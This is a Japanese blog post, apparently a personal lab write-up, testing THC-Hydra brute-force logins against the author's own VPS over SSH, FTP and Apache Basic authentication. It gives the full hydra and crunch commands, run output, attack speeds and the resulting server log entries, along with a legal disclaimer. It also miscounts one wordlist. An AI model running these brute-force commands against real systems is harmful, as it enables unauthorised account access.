Kali Linuxのhydraでブルートフォースを試す
前回までの記事(http://d.hatena.ne.jp/ozuma/20130527/1369661407)でKali Linuxをインストールしたので、今日はTHC-Hydraを使ってブルートフォースによるログインを試してみる。
※お約束ですが、本記事の内容を他人のサーバに対しておこなうと不正アクセス禁止法に触れることになります。自分の管理下のサーバのみに試すようお願いします。
環境
我が家のKali Linuxは、MacBookのParallels Desktop 8 for Macの中で動かしている。このゲスト機のKali Linuxから、さくらのVPSで設置した"やられ役"を攻撃するという形で実験をおこなった。
役割 | 種別 | OS | CPU | メモリ |
---|---|---|---|---|
ホスト機 | MacBook(Early2009) | Snow Leopard (Mac OS X 10.5.8) | Intel Core 2 Duo (2GHz) | 4GB |
ゲスト機 | Parallels 仮想マシン | Kali Linux 1.0.3 | Intel Core 2 Duo (2GHz) | 1GB |
やられ役 | さくらのVPS 1G | CentOS 6.4 (64bit) | Intel Xeon 2.4GHz (2コア) | 1GB |
やられ役のCentOSはほぼデフォルトであり、カスタマイズはほとんど実施していない。
hydraとは何か
まず今回の攻撃に用いるツール、hydraについて軽く紹介する。
http://www.thc.org/thc-hydra/
hydraはThe Hacker's Choiceという団体が開発している、"A very fast network logon cracker" なソフトウェアである。団体名の頭文字を取って正式名称は THC-Hydra と呼ぶようだ。
ftp, ssh, http, imap, pop3など様々なプロトコルに対応しており、以下のような簡単なコマンドでブルートフォースアタックを実行することができる。
$ hydra -l ozuma -P password.txt 192.168.1.1 ftp
lオプションでユーザ名、pオプションでパスワードを指定する。それぞれのオプションは大文字にするとファイルを指定でき、ファイル中の文字列で順にアタックを行う。
様々なオプションがあるのでコマンドのヘルプを以下に貼っておく:
Hydra v7.4.2 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [server service [OPT]]|[service://server[:PORT][/OPT]] Options: -R restore a previous aborted/crashed session -S perform an SSL connect -s PORT if the service is on a different default port, define it here -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE -p PASS or -P FILE try password PASS, or load several passwords from FILE -x MIN:MAX:CHARSET password bruteforce generation, type "-x -h" to get help -e nsr try "n" null password, "s" login as pass and/or "r" reversed login -u loop around users, not passwords (effective! implied with -x) -C FILE colon separated "login:pass" format, instead of -L/-P options -M FILE list of servers to be attacked in parallel, one entry per line -o FILE write found login/password pairs to FILE instead of stdout -f / -F exit when a login/pass pair is found (-M: -f per host, -F global) -t TASKS run TASKS number of connects in parallel (per host, default: 16) -w / -W TIME waittime for responses (32s) / between connects per thread -4 / -6 prefer IPv4 (default) or IPv6 addresses -v / -V / -d verbose mode / show login+pass for each attempt / debug mode -U service module usage details server the target server (use either this OR the -M option) service the service to crack. Supported protocols: afp cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp OPT some service modules support additional input (-U for module help) Use HYDRA_PROXY_HTTP/HYDRA_PROXY and HYDRA_PROXY_AUTH environment for a proxy. Hydra is a tool to guess/crack valid login/password pairs - usage only allowed for legal purposes. Newest version available at http://www.thc.org/thc-hydra The following services were not compiled in: sapr3 oracle. Examples: hydra -l john -p doe 192.168.0.1 ftp hydra -L user.txt -p defaultpw -S 192.168.0.1 imap PLAIN hydra -l admin -P pass.txt http-proxy://192.168.0.1 hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/DIGEST-MD5
crunchでパスワードファイルを作る
hydraでアタックをおこなう際、パスワードの候補を並べた辞書ファイルが必要となる。ここではKali Linuxにデフォルトでインストールされているcrunchコマンドを使って作成することにする。
あまり詳しく説明すると長くなるので、crunchコマンドは以下のように叩く、ということだけ紹介することにする。
root@kali:~/hydra# crunch 2 2 -o password.txt Crunch will now generate the following amount of data: 2028 bytes 0 MB 0 GB 0 TB 0 PB Crunch will now generate the following number of lines: 676 100% root@kali:~/hydra# echo 'pv7F-Zppp' >> password.txt
"crunch 2 2" で、2文字のパスワード候補を aa から zz まで676個作成する。そして最終行に正解のパスワードを入れておいて、677個のパスワードでブルートフォースをかけてみる。
hydraによるsshブルートフォース
まず、sshでブルートフォースをおこなってみる。なお、hydraは-tオプションでタスク数の調整をおこなっていないので、デフォルトの16である。
sshd_configについてはCentOSデフォルトから特にカスタマイズは行っていない。
root@kali:~/hydra# time hydra -l logintest -P password.txt XX.XX.XX.XX ssh Hydra v7.4.2 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2013-06-01 19:41:26 [DATA] 16 tasks, 1 server, 677 login tries (l:1/p:677), ~42 tries per task [DATA] attacking service ssh on port 22 [ERROR] ssh protocol error [ERROR] ssh protocol error [ERROR] ssh protocol error [ERROR] ssh protocol error [ERROR] ssh protocol error [ERROR] ssh protocol error [ERROR] ssh protocol error [ERROR] ssh protocol error [STATUS] 166.00 tries/min, 166 tries in 00:01h, 511 todo in 00:04h, 10 active [STATUS] 138.00 tries/min, 414 tries in 00:03h, 263 todo in 00:02h, 10 active [STATUS] 130.25 tries/min, 521 tries in 00:04h, 156 todo in 00:02h, 10 active [STATUS] 133.20 tries/min, 666 tries in 00:05h, 11 todo in 00:01h, 10 active [22][ssh] host: XX.XX.XX.XX login: logintest password: pv7F-Zppp 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished at 2013-06-01 19:46:39 real 5m13.301s user 0m0.260s sys 0m1.064s root@kali:~/hydra#
677 triesが5分13秒で完了したから……だいたい1秒に2回、1分に120回のブルートフォースということになる。トライ中、8回ほど[ERROR]が表示されたが最終的には正しいパスワードが得られた。
アタックの最中は、当然のことながら猛烈なエラーログが/var/log/secureに出ることになる。
Jun 1 19:50:36 www99999xx sshd[26781]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=p9999-xxxx9999marunouchi.tokyo.ocn.ne.jp user=logintest Jun 1 19:50:38 www99999xx sshd[26781]: Failed password for logintest from 114.164.124.XX port 56255 ssh2 Jun 1 19:50:38 www99999xx sshd[26784]: Connection closed by 114.164.124.XX
のセットが基本だけど、他にもこういうのが出ている↓
Jun 1 19:46:23 www99999xx sshd[26718]: PAM service(sshd) ignoring max retries; 6 > 3 Jun 1 19:46:23 www99999xx sshd[26727]: Disconnecting: Too many authentication failures for logintest
認証失敗多すぎって言われてるね。実際のサーバ運用時には、こういうエラーログに気をつけよう。
hydraによるftpブルートフォース
sshは公開鍵認証なので、ログイン処理時のCPU負荷が高いはず。そのため同じブルートフォースアタックならばftpの方が早いのではないだろうか。と予測して、
# yum install proftpd.x86_64
してproftpdをインストールしてから試してみた。proftpd.confもデフォルトのまま。
root@kali:~/hydra# time hydra -l logintest -P password.txt XX.XX.XX.XX ftp Hydra v7.4.2 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2013-06-01 19:53:08 [DATA] 16 tasks, 1 server, 677 login tries (l:1/p:677), ~42 tries per task [DATA] attacking service ftp on port 21 [STATUS] 397.00 tries/min, 397 tries in 00:01h, 280 todo in 00:01h, 16 active [21][ftp] host: XX.XX.XX.XX login: logintest password: pv7F-Zppp 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished at 2013-06-01 19:54:52 real 1m44.185s user 0m0.028s sys 0m0.716s
おー、早い。677tries が1分44秒だから……1秒で6回、1分に360回くらいのブルートフォースができる。大まかにsshの3倍の速度でアタックできることが分かった。
攻撃中(ログイン失敗時)には、以下のようなログが/var/log/secureに出る。このようなログが大量に出ている場合、自分のサーバが攻撃されている恐れがあるので注意しよう。
Jun 1 19:54:50 www99999xx proftpd[27010]: XX.XX.XX.XX (114.164.124.XX[114.164.124.XX]) - USER logintest (Login failed): Incorrect password.
Jun 1 19:54:50 www99999xx proftpd[27004]: XX.XX.XX.XX (114.164.124.XX[114.164.124.XX]) - Maximum login attempts (3) exceeded, connection refused
hydraによるhttpのBASIC認証ブルートフォース
最後に、ApacheのBASIC認証をhydraでアタックしてみることにする。ftpやsshなどと違い、httpは同時接続が大量にあるということが前提のプロトコルのため、相当早く実行できることが予想される。
yum install httpd.x86_64
httpd.confはデフォルトのままとし、動作モードもデフォルトのpreforkとする。そのため設定は以下の値となる。
<IfModule prefork.c> StartServers 8 MinSpareServers 5 MaxSpareServers 20 ServerLimit 256 MaxClients 256 MaxRequestsPerChild 4000 </IfModule>
この状態でApacheを起動し、/restricted/ok.txt というファイルに .htaccess でBASIC認証の設定をおこなってアタックしてみた。
root@kali:~/hydra# time hydra -l logintest -P password.txt XX.XX.XX.XX http-get /restricted/ok.txt Hydra v7.4.2 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2013-06-01 20:12:28 [DATA] 16 tasks, 1 server, 677 login tries (l:1/p:677), ~42 tries per task [DATA] attacking service http-get on port 80 [80][www] host: XX.XX.XX.XX login: logintest password: pv7F-Zppp 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished at 2013-06-01 20:12:33 real 0m4.274s user 0m0.056s sys 0m0.676s
ftpやsshとはケタ違いに早く、677triesを4秒で達成できた。早すぎたのでもっとパスワード候補を増やしてみる。
# crunch 3 3 -o password2.txt
を作った。これはaaaからzzzまで10762行ある。このpassword2.txtに、先ほどと同様に末尾に正解のパスワードを入れて、再度ブルートフォースをトライ。
root@kali:~/hydra# time hydra -l logintest -P password2.txt XX.XX.XX.XX http-get /restricted/ok.txt Hydra v7.4.2 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2013-06-01 20:23:19 [DATA] 16 tasks, 1 server, 17577 login tries (l:1/p:17577), ~1098 tries per task [DATA] attacking service http-get on port 80 [STATUS] 10763.00 tries/min, 10763 tries in 00:01h, 6814 todo in 00:01h, 16 active [80][www] host: XX.XX.XX.XX login: logintest password: pv7F-Zppp 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished at 2013-06-01 20:24:57 real 1m38.396s user 0m0.328s sys 0m13.236s
10763triesを1分38秒、ざっくり1秒に100回トライできている。
もちろんApacheの「客」が一人しかいない状態というのは非常に考えにくいので、この例はかなり特殊な状態ではあるが。sshやftpでのブルートフォースにくらべて、ApacheのBASIC認証のブルートフォースがいかに素早く行えるかが分かったと思う。
なおこの際、Apacheのaccess.logとerror.logにはこんな感じで出ている。
114.164.124.XX - logintest [01/Jun/2013:20:24:57 +0900] "GET /restricted/ok.txt HTTP/1.0" 401 480 "-" "Mozilla/4.0 (Hydra)"
[Sat Jun 01 20:24:57 2013] [error] [client 114.164.124.XX] user logintest: authentication failure for "/restricted/ok.txt": Password Mismatch
UserAgentは "Mozilla/4.0 (Hydra)" となるようだ。